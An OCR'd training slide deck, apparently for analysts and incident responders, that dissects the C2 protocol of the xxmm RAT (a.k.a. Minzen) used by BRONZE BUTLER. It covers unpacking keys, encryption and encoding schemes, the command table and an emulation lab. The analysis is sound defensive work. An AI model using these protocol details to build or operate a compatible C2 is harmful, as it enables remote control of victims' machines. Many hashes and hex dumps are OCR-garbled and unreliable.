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[ For analyst / researcher [ developer

e Provide information about modern C2 implementation including:
e Encryption, compression, proprietary data structures

e Provide a training material for C2 analysis
e You can compare answers with your analysis result

—[ For incident responder |

e Tell you the importance of proxy log analysis and server investigation by public sector such as
NPA, JPCERT/CC

e Provide knowledge of modern C2 implementation can be used to improve your penetration
testing







Analysis Target: xxxmm




xxmm (a.k.a. Minzen)
RAT malware used by BRONZE BUTLER

* Good sample to understand modern
command and control protocol

* Uses HTTP/S with proxy

* GET or POST request

* Also supports TCP/UDP/ICMP
* Uses encryption

* RSA + onetime RC4 encryption in its
communication

* Uses proprietary data structures
* |s capable to do various commands




Supported Features

Sleep

Drive info

File listing, upload, download, deletion
Directory creation

Process creation

Remote Shell




Is BRONZE BUTLER Still Active?

* Several Datper variants were observed from Nov, 2017
* €.(g. 517b2695bbf7164bfbgcaboai33zbbobiaeb387cbb7f30aao1bfsd6f8g9ccas214
* Changed to use modified RC4 init as the following:



File Information

* xxmm dropper (can be downloaded from VT Enterprise)

SHA-256 hash 4d208c86c8331b7f1f6dd53f83afgeesec700a74792bs419f663a3cero5disdic
File type PE32 executable (GUI) Intel 80386, for MS Windows

PE timestamp Thu May 12 02:44:45 2016 UTC
ATE RN LAAM PE32 executable (GUI) Intel 80386, for MS Windows

* xxmm main module (will be loaded by the dropper)

S P T{N EH M 714863d7dg51e87c9cbde87882f9038db7ad7c8dacd2gb2ci2ebgebcaoysech8
File type PE32 executable (console) Intel 80386, for MS Windows

RN EEE [ Thu May 12 02:44:51 2016 UTC

Target binary



References / Tools

Useful for analysis

 xxmmz2_build.exe

* https://www.virustotal.com/#/file/76340ef248c286270a07e2aee
c7baid6aoo7e77addeo8dc6cidcaarzbaefgeia8/detection

* xxmm?2_steganography.exe

* https://www.virustotal.com/#/file/27f3a4c757f6e81a0546e47bg
7cbaabsese2b82a6ec2694641cd41ecs,7bqo766/detection

* wincrypto - Python module
* https://github.com/crappycrypto/wincrypto

* |znta - Python module
* https://github.com/youo708/lznta



https://www.virustotal.com/#/file/76340ef248c286270a07e2aeec7b1d6a007e77adde08dc6c1dcaa176aef9e1a8/detection
https://www.virustotal.com/#/file/76340ef248c286270a07e2aeec7b1d6a007e77adde08dc6c1dcaa176aef9e1a8/detection
https://www.virustotal.com/#/file/27f3a4c757f6e81a0546e47b97cbaab5e5e2b82a6ec2694641cd41ec47b90766/detection
https://www.virustotal.com/#/file/27f3a4c757f6e81a0546e47b97cbaab5e5e2b82a6ec2694641cd41ec47b90766/detection
https://github.com/crappycrypto/wincrypto
https://github.com/you0708/lznt1

Unpacking main module

xxmm installer contains both 32-bit and 64-bit binaries

Dropper Installer Loader Main module

(will be dropped into %TEMP%) (will be installed as a service [ runkey (will be injected to legitimate process)
entry)

'—.—

Also contains a DLL and UAC
bypass module

32-bit

All of binaries are contained as
RC4 encrypted + LZNT1

compressed resource
(RC4 key: "1234")



Decrypting All Encrypted Resources

Python scripting is an easy way to decrypt

32-bit main module

[+] could not find rc4key, use default key: 1234

[+] saved unpacked xxmm as xxmm_dropper_unpacked_o.bin

[+] saved unpacked xxmm as xxmm_dropper_unpacked_z1.bin

[+] saved unpacked xxmm as xxmm_dropper_unpacked_1_unpacked_o.bin

[+] saved unpacked module as xxmm_dropper_unpacked_1_unpacked_1.bin

[+] saved unpacked module as xxmm_dropper_unpacked_1_unpacked_2.bin

[+] saved unpacked xxmm as xxmm_dropper_unpacked_1_unpacked_3.bin

[+] saved unpacked xxmm as xxmm_dropper_unpacked_i1_unpacked_o_unpacked_o.bin
[+] saved unpacked xxmm as xxmm_dropper_unpacked_o_unpacked_o.bin

[+] saved unpacked module as xxmm_dropper_unpacked_o_unpacked_1.bin

[+] saved unpacked module as xxmm_dropper_unpacked_o_unpacked_2.bin

[+] saved unpacked xxmm as xxmm_dropper_unpacked_o_unpacked_3.bin

[+] saved unpacked xxmm as xxmm_dropper_unpacked_o_unpacked_o_unpacked_o.bin




Process of xoxmm Main Module

1. Load hardcoded config

e C2 URL, encryption key, version string, etc.

2. |Initialize command list

3. Start C2 thread




1. Loading Hardcoded Configuration

Process of xxmm main module

Config data is XOR encoded
with a key character "f"




2. Command List Initialization

Process of xxmm main module

Create link list like
command data




3. Command & Control Thread

Process of xxmm main module

L |

[

xxmm is capable to
have 7 C2 server entries

in its config
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Communication Protocol

xxmm supports various communication types

Protocol Description

C2 communication
C2 communication

Download C2 server information

4 TCP C2 communication using proprietary TCP protocol
5 UDP C2 communication using proprietary UDP protocol
6 ICMP C2 communication using ICMP echo
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Usual HTTP GET request to hardcoded URL

GET| ftest/test.jpg HTTP/1.1
Accept: *[*

URL is specified by its config

Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1)

Hostjwww.example.com
Cache-Control: no-cache

GET Request to An Image File

FFDSFFEO QDD 10 4A 46:454c 000102010060 ...... JFIF.....
00D 0 D0 0O FFELOCZDi45 78 €9 ¢cc00004D 4D | . " . o . .. -Exif. .MM
00 2200000008 0007:0132000200000014 ) .%. . ..... 2.
00 00 00 62 47 4000300000001 00020000 ...bGF..........
47 4500020000 0001:005800008B25580002|GT. & ... .. b
00 00O 00 1e 000000 7&:595C SDO0 0100000014 ). 00 v v Voo e e eoeoe -
00D OO QO ODDEARAICOOOT:000007DZ00000000] 4 v e @ v vmeeeeneeeann
87 €5 0004 00 00 00 01:00 ZDDE:‘DD"DD__: e
32 303035 3A 3033 3A:31 32 20 21 33 :.’—.34 3812009 D3 12 13 43




Encrypted Payload in The Image File

Contains C2 command (DownloadExecute/ChangeURL)

EA D4 EB 47 93_341::E%CFLED:_E?'::_EDE_ B.{A.L..... |
22 BF 6F SFFF DY 78 00i78 00 6D 006D 004254 |" .0 ..kK.x.m.m.|BT
4C 42 6E SF 50 73 42 34 51 50 4B 77 46 51 35 32 [LBn_PsB4QPRWEQ 92
63 45 31 61 4D 35 66 75 4F 56 65 66 35 56 35 65 |cElaM5fu0vVe£5V5h
6F 53 43 5F 41 76 77 32 77 4559 73 54 622D 61 |0SC_Avw2wEYsSTj-a
34 5F 30 65 47 5643 3216C 74 5A 3939 73 4B 39(4 0kGVC21tZB89sKY
38 38 47 56 4C 58 66 44:77 2D 36 66 4B 72 53 52 |88 GVLXEfDw-6fKr SR
38 68 65 72 2D 66 39 4Di76 7552 47 4E 77 31 6D |8her- f9MvuRGNwim
5555 34 55353571 7672 68 4E 31 70 52 75 5F |U¥4¥Y55gvrhNipRu_
WINIINN 2 S 43 4277 65 44 35 49 6B 52 4E |QitXB_CJweD5SIkRN
v W . 22 79 3663 6938 37 31 2D 4B 30 |[ROi5QBy6ciB871-K8
LSRN > /0 31 74:4C 30 38 49 6E 43 74 35 |I1V7bpltLBBInCES
52 38 49 67 3D 3D 6D 00 6D 00 78 00 |[4AjJ1R8Ig==jmn.m.x .

: X .

Start marker End marker
Encrypted payload
XXmm MMXX
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C2 Communication using HTTP

xxmm communicates with specified C2 server

Il

xxmm C2 server




Ping/Pong
Checking C2 server

* Ping/Pong communication will be performed before every C2
communication

GET /index.php?i1d©=39454275&1d1=0&1d2=17547c11&1d3=0&1d6=2400000 HTTP/1.1
Accept: */*

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1)

Host: www.example.com

Cache-Control: no-cache

HTTP/1.1 200 OK

(snip.)
Content-Length: 1

1




1, 3. Parameters of HTTP Request

GET /index.php?Ede=b78563d0&id1=0&id2=f7547c11&id3=1&id4=AAAACAAA(snip.)chvAIQ!!&
1d6=2400000 |HTTP/1.1

Accept: ¥/

Content-Type: application/x-www-form-u
User-Agent: Mozilla/4.0 (compatible; M
Host: www.example.com
Cache-Control: no-cache

| Description
Random hex string 8 digits hex string 8 digits hex string 8 digits hex string
Constant value o o o
I:HE!HI!I Client ID ‘

m Request type

Encrypted payload Baseby like string

B Unkown ? ? ?

Param 6 Current interval 2400000 2400000 2400000

Windows NT 6.0; SV1)




2. Receive command

HTTP Communication with given C2 server

HTTP/1.1 200 OK

(snip.)
Content-Length: 104

AAAACAAAAAAFCcE1DOwWHDQ8bBCDZZwfUoyA9ivQW6NHNTWEXmP18HOMHILS
96GPjJLg6NV55x28u3SEZavkcRgvIxmsbLZIOhabyyw! !

Encrypted payload - same encryption/format
with value of paramy4 in GET request




Encrypted Payload in GET Request

If RSA is enabled

* LZNT1 compression

LZNT1 * Performed using RtlCompressBuffer
* Add 1 byte header

* RC4 encryption using randomly generated one-time key
* RC4 one-time key is encrypted with RSA public key

* Base64 encoding with custom table
 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqgrstu
VWXyz0123456789+/=
\)

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqgrstu
VWXyz0123456789"" |




One-time Key Encryption
Using RSA key pair"s"

* Encrypted one-time RC4 encryption key with
server public key
* RC4encrypted + LZNT1 compressed payload

Server Server
Public key Private Key

Il

XXmm
C2 server

. : ok th Client
Encrypted one-time RC4 encryption key wit Public Key

client public key
* RC4 encrypted + LZNT2 compressed payload

Client
Private Key




Decrypting Encrypted Payload

Encrypted/Encoded payload

AAAACAAAAAAFNsGPeUog(snip.)WoPns”~c p AXiKBAgPcvAIQ!

Custom Base64 decode
Header | RSA flag | RSA encrypted

‘

v

RSA + RC4 decrypt

CO:?:S;ESS LZNT1 compressed/plain data



Encrypted Payload in GET Request

If RSA is disabled

* LZNT1 compression

LZNT1 * Performed using RtlCompressBuffer
* Add 1 byte header

* RC4 encryption using default key

PY \\1234”

* Base64 encoding with custom table
 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqgrstu
VWXyz0123456789+/=
\)

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqgrstu
VWXyz0123456789"" |




Decrypting Encrypted Payload

Encrypted/Encoded payload

AAAACAAAAAAFNsGPeUog(snip.)WoPns”~c p AXiKBAgPcvAIQ!

Custom Baseby4 decode
Header | RSA flag RCs encrypted payload
Iength (exeeeeeeee) 4 YP pay

v RC4 decrypt

CO:?:;SS LZNT1 compressed/plain data
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Data Format of Payload

* Need to extract “item” to understand the meaning of command

Header | RSA flag | RSA encrypted

Con;rll:;ess LZNT1 compressed/plain data

Payl
ayload Items header Item Item Item Item
header




Item Structure

xxmm uses item list in their communication and configuration

* Item format: | I

e xxmm has various ID - difficult to enum them

* e.g. decoded config

00 00 00 00 00 00 00 00{70 61 72 61 6D 65 74 65
72 32 00 00 05 34 00 00i00 02[00 00 00 09]00 01
00 01Joofoo 00 00 ocfooiol 04 DE[33 2E 30 00]J00
D0 00 OA|00 01 04 E3|30; 00]00 00 00 OB[00 01 04
E4[32 34 00]00 00 00 5C|00 04 05 00]06 02 00 0C
D0 24 00 00 52 53 41 31,00 04 00 00 01 00 01 00
1528 16 28 A1 92 F7 69{14 C1 83 18 E6 97 13 C1
7A 31 83 84 7C A3 25 C7iAC D6 67 89 B9 A2 06 EE
A3 93 40 95 7B 8D E0 20iB9 6D EE 10 3C CC 48 E2
17 9C 83 ED D7 78 D4 87 D8 ES DA AF 2B CS CA EA
4F 58 15 84 FF 15 2A 21 BC 17 1B 08 6B 17 D6 8D

........ paramete
r A e e e e e e e .
........... 3.0
....... 1
24 L e e e e ..
. .RERAT .. ... ...
P .
z1 - S+ S
@. { .m..<.H
..... e o o nwaT.
OX. ... k.




Items Structure

Header + Item data

* Items format:

* Type 0/10: data from server, Type 1/11: data from client, Type 2: configuration

* e.g. decoded config

000000000000 0000:7061 72 61 6D 65 74 65
72 32|00 00 05 34|00 00:00 02(00 00 00 0% 00 01
00 01 00 00 00 00 OC 00:01 04 DE 33 2E 30 00 00
00 00 OA OD O1 04 E3 EEEDD 00 00 00 OB 00 01 04
E4 32 34 00 00 00 00 ECEDD 04 05 00 06 02 00 0O
00 24 00 00D 52 53 41 ElEDD 04 00 00 01 00 01 00
15 28 16 28 Al 52 F/ 65;14 Cl 83 18 E6 57 13 C1
1A 31 83 B84 TC A3 25 C’.-'EJFLC De 67 859 B9 AZ 06 EE
A3 53540 53 7B BD EO EEEEB cDEE 10 3C CC 48 EZ
17 SC 83 ED DY 78 D4 ETEDE ES DA AF 2B C5 CA EA
4F S8 1584 FF 1922 21iBC 17 1B 08 6B 17 D6 §

r L L e e ..
........... 3.0

....... 1
.
...RESRA1........
A | s
zl..]|.% N S
.B.{.. .m..<.H.
..... - A

OX. *l ... k.




Analyzing Items/Item Structure

Parse Items structure and
create info structure to access

items easily




Payload Header

ﬂ

edc80b19 0x00 Timestamp  Return value of GetTickCount
. Num of “items” blocks
115115151515 ox04 4 Split count (starts from @)
©: Larger than max size
©172d218 Ox08 1 IpRLEE 1: Less than max size
00000/ a
00000001 ox0C Variable ltems Payload

00000018...




Command and Control

Using item structure

Command request

Time
0x10001 APlname  0x10002 Argument 1
stamp

header

Payload | Items
header

Il

XXmm C2 server

Payload
header 0x10001 APIname o0x10002 M€ | oyopps  OUS
stamp code

Copied from command items




RAT Command: x>oxmm API

* GetSystemlInformation

* DownloadExecute

* ChangeUrl

* ChangeTimelnterval

* Uninstall

* Plugln

* PowershellEncodedCommand
* CreateProcessLow



RAT Command: Standard(?) API

* stdapi_execute_sleep * stdapi_fs_sha1
* stdapi_execute_commandgroup * stdapi_fs_mdg
* stdapi_syncshell_kill * stdapi_fs_file_move
* stdapi_syncshell_control * stdapi_fs_file_expand_path
* stdapi_syncshell_open * stdapi_fs_stat
* stdapi_cmd_kill * stdapi_fs_separator
* stdapi_cmd_control * stdapi_fs_delete_file
* stdapi_cmd_open * stdapi_fs_delete_dir
* stdapi_fs_search * stdapi_fs_mkdir
* stdapi_fs_file_upload * stdapi_fs_chdir
* stdapi_fs_file_download * stdapi_fs_getwd
* stdapi_fs_file_excute * stdapi_fs_ls

* stdapi_fs_GetLogicalDriver



Based on Metasploit API?

Same name with Metasploit
AP]




Command Details
Argument 1 Argument 2 Argument 3 Result 1 Result 2 Result 3

. - Ox4001A
GetSystemInformation .
- - - System info - -
0x404D5 0x104D3 0x204D4 - = -
DownloadExecute ) .

File data File path Show flag - - -
0x104F6 0x20529 - - - -

ChangeUrl
C2 URL Server No. - - = -
' OX204F7 - - - . ;

ChangeTimeInterval

New interval - - - - -
' @x20535 - - - . ;

Uninstall
Run key flag - - - - -
0x404D5 - - = - -

PlugIn

file data - - - - -
Ox104F8 - - = - -

PowershellEncodedCommand Encoded PS
command

0x1052D Ox2052E - - - -
CreateProcessLow )
Command line Alt process - - - -
IIIIiiIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII




Command Details

stdapi_fs_1s

stdapi_fs_getwd

stdapi_fs_chdir

stdapi_fs_mkdir

stdapi_fs_delete_dir

stdapi_fs_delete file

stdapi_fs_separator

stdapi_fs_stat

‘
Y

0x104BO
Target dir

0x104BO
Target dir
0x104BO
Target dir
0x104BO
Target dir
0x104B2
Target file

0x104B2
Target file

0x104B1
File name
0x104Bo

Current dir

0x1000A

Path separator

Ox800004C4
File stat

0x104B2
Full path

Result 1 Result 2 Result 3

0x800004C4
File stat



Command Details
Argument 1 Argument 2 Argument 3 Result 1 Result 2 Result 3

. : 0x104B2 0x104B2
stdapi_fs_file_expand_path
Target path - - Full path - -
. 0x104B2 = = 0x104B1 = =
stdapi_fs_md5 )
Target path - - MD5 digest - -
. 0x104B2 = = 0x104B1 = =
stdapi_fs_shal )
Target path - - SHA-1 digest - -
. : . - - - 0x104B2 0x204D2 -
stdapi_fs_GetLogicalDriver ) )
- - - Drive root Drive type -
: : 0x104D3 0x204D4 - - - -
stdapi_fs_file_ execute i
Command line Show flag - - - -
X . 0x104B2 0x104B2 - 0x104B2 0x104B2 0x404D5
stdapi_fs_file download i )
Target path Unknown - File path Unknown File data
. . 0x104B2 0x104B2 0x404D5 0x104B2 0x104B2 -
stdapi_fs_file upload ) )
Target path Unknown File data File path Unknown -
0x104D0 0x104CF 0x804CE 0x104B2 0x104B1 0x204B4

stdapi_fs_search ) _ ) ) ) _
Target path Target filename Recursive flag Dir Filename File size




Command Details
Argument 1 Argument 2 Argument 3 Result 1 Result 2 Result 3

: 0x104D3 0x2050A Ox2050A
stdapi_cmd_open
Alt shell Terminate flag - PID - -
. 0x404D6 - - 0x404D6 - -
stdapi_cmd_control
Shell command - - Output - -
stdapi_cmd_kill
. 0x104D3 - - - - -
stdapi_syncshell open
Alt shell - - - - -
. 0x404D6 - - Ox404d7 - -
stdapi_syncshell control
Shell command - - Output - -
stdapi_syncshell kill
. 0x404D8 - - - - -
stdapi_execute_commandgroup
Command group - - - - -
. 0x204D9 - - - - -
stdapi_execute_sleep
Sleep time - - - - -

ﬁ
w



Analyzing Arguments

Check getting item function
* e.g. ChangeUrl command

There are several function call
to parse arguments
in command function




e.g. File Uploading

Request to upload C:¥hoge.txt

Command request

Payload

0x10001 0x10002 0x104B2 0x104B2
header

[tems
header

'stdapi_fs_file_download' Timestamp  u'C:¥hoge.txt'

AAAAiAAAAAFgE” y702T7BvTFDZDWFuROUuUU7rlkOuUUytKzrp6Mxy ™ ~*AfuAHrla(snip.)RHIp6p8
gqQ5LppSwF4HoD4SRS3i8D5zMMHIX09N1jtk891992G1VEfWrl1t57glOLTZQXVihmeedUNDbI !

[tems
header

Il

XXmm C2 server

Payload 0x10001 0x10002 0x20004 0x104B2 0x104B2  0x404D5

header

'stdapi_fs_file Time N

Status code u'C:¥hoge.txt' File data

_download' stamp

GET /index.php?id@=d65d4f8a&id1=0&id2=f7547c11&id3=1&id4=AAAAIAAA(snip.)Izxj4ER6A~Dg! !&id6=10000

IIIIHIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII



e.g. Remote Shell

To execute 'ipconfig'

Command request

Payload| Items

header | header NG 'stdapi_cmd_open' ©x10002 Timestamp
AAAAiIAAAAAEMb WsgOWNLPFrS1zQT9Dd71HE (snip.)sUsgDpsHgMRYh97zmm@1PnMW utiDGkFFbNIpgva4QHcNx

header

header 0x10001 'stdapi_cmd_open' ©x10002 Timestamp ©0x20004 Statuscode

GET /index.php?id@=55243eab&id1=08id2=f7547c118id3=1&id4=AAAAiAAAAAGiI (snip. )uBRuYfmCLbo!&id6=1

Il

Command request

XXmm C2 server

Payload
QEECCIMEEREE 0410001 'stdapi_cmd_control'  ©x10002 Timestamp ©0x404D6 ‘ipconfig

AAAAIAAAAAFWZEmM1vPSj8KASO0OUPFhrzCEM5(snip. )haf6XHV8jpRQcXyU71sI™ 6U12MbbVvBpXGdaQuXxZ3B1H17

QEECCIMEEREIR 0410001 'stdapi_cmd_control'  ©x10002 Timestamp ©Ox20004 Statuscode @x404D6  output

POST /index.php?id@=44be644f8&id1=081d2=f7547c11&1d3=1&1d6=10000, id4=AAAAiAAAAAF (snip.)HiNsLOaIMa




Proof of Analysis




C2 Emulation Environment

Create tiny script for C2 emulation

Create RSA key blobs

Execute xxmm main module in the fake internet
environment

e You have to modify RSA keys in its config




Base Provider Key BLOBs

RSA key format can be imported by CryptimportKey API

* See https://docs.microsoft.com/en-us/windows/desktop/seccrypto/base-provider-key-blobs

* We can create the key pair using PowerShell commands

e server_public_veyoin > I

| 00000000 !EZE 00 000024 0000:525341 3100040000 ..uuaa.. RSA1....

01000100 4DBS 25 83/9CcAS5D 4222 17CDCC| .. ..M. ) .. 2]B" ...
031624 IRE33650C4!33D4B7RBS3E090DGED|..5..6P.3...>..m
TDZE8 FIBFFZEEAE 34:8DGBE8 T027 33 CECCAE |} (... .. 4. .p'3..N
18 -0 27 SAED4Z 42 IDIABARASF 27 56 62 F3 8RA|.P"Z.BB. _WVDb
60 21 S5 B3 B0O 14 B1 SE8ATEDBEDDFARREBAL | " L L L o 0 i i i e s e .
18 12 ~E 98 Ar 84 09 NI DE AC DA ED AG TT 7 T — DT

Add-Type -AssemblyName System.Security

$RSA = New-Object System.Security.Cryptography.RSACryptoServiceProvider

Set-Content "rsa_server public key.bin" -Value $RSA.ExportCspBlob($False) -Encoding Byte
Set-Content "rsa_server private key.bin" -Value $RSA.ExportCspBlob($True) -Encoding Byte

$RSA2 = New-Object System.Security.Cryptography.RSACryptoServiceProvider
Set-Content "rsa_client public key.bin" -Value $RSA2.ExportCspBlob($False) -Encoding Byte
Set-Content "rsa_client private key.bin" -Value $RSA2.ExportCspBlob($True) -Encoding Byte



https://docs.microsoft.com/en-us/windows/desktop/seccrypto/base-provider-key-blobs
https://docs.microsoft.com/en-us/windows/desktop/seccrypto/base-provider-key-blobs
https://docs.microsoft.com/en-us/windows/desktop/seccrypto/base-provider-key-blobs
https://docs.microsoft.com/en-us/windows/desktop/seccrypto/base-provider-key-blobs
https://docs.microsoft.com/en-us/windows/desktop/seccrypto/base-provider-key-blobs
https://docs.microsoft.com/en-us/windows/desktop/seccrypto/base-provider-key-blobs
https://docs.microsoft.com/en-us/windows/desktop/seccrypto/base-provider-key-blobs
https://docs.microsoft.com/en-us/windows/desktop/seccrypto/base-provider-key-blobs
https://docs.microsoft.com/en-us/windows/desktop/seccrypto/base-provider-key-blobs

Captured Packet

"dir'" command execution

W¥MM_ID_CMD_OUT: Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.

All rights reserved.

sDesktopht
Co# 4 4 4 4 %
+ 4 4+ 4 + ¢ 4+ BOFT-0CBC + +

C:sUsershyyousDeskiopstest & ¢ & & + 4 +

1707
1707
11:57

241,152 out.exe
241,152 4 + 4
3 037.952 ¢ b b 4 & 4 4

C s UsershyousDesktophtest:

AEMM_ID_STATUS: O







